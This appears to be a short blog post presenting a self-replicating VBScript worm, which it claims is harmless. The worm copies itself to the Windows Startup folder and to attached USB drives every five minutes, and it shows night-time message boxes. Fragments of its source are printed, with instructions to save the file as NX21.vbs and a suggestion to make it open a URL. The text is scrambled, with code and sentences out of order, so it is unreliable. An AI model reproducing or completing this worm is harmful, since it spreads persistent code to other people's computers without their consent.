This is a completely harmless virus designed for spreading. X = Msgbox("Author : #XByte" & Chr(13) & "Description : Harmless self replicating virus" & Chr(13) & Chr(13) & "This virus is coded in VBScript and uses a really simple technique to spread through removeable storage devices. If (Hour(Now) >= 0 And Hour(Now) < 6) Then Path = WshShell.SpecialFolders("Startup") Set fs = CreateObject("Scripting.FileSystemObject") Set WshShell = CreateObject("WScript.Shell") DO NOT name it something else or it would not work. To make the VBScript file save the following code as a NX21.vbs EXACTLY file with notepad. But I don't support making harmful viruses. You can modify to do other things with the VBScript file like opening a URL to your site at a specific time. It will infect another computer only if it is opened. The vbs file is only copied to the USB drive. The spreading method used by this vbs file depends completely on the victim.
But what's the use of spreading it without any action? So I included a simple code to display a message every five minutes between midnight and six in the morning. The VBScript file copies itself to the startup folder and copies it self to any USB drives available every five minutes. This is a small harmless VBScript file that can spread form one computer to another.
0 kommentar(er)
